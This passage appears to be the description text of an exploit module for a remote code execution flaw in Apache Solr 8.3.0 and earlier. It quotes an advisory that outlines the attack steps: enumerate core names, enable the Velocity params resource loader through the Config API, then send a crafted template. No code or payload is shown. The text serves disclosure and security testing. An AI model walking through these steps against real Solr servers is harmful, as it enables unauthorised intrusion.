          This module exploits a vulnerability in Apache Solr <= 8.3.0 which allows remote code execution via a custom
          Velocity template. Currently, this module only supports Solr basic authentication.

          From the Tenable advisory:
          An attacker could target a vulnerable Apache Solr instance by first identifying a list
          of Solr core names. Once the core names have been identified, an attacker can send a specially crafted
          HTTP POST request to the Config API to toggle the params resource loader value for the Velocity Response
          Writer in the solrconfig.xml file to true. Enabling this parameter would allow an attacker to use the Velocity
          template parameter in a specially crafted Solr request, leading to RCE.
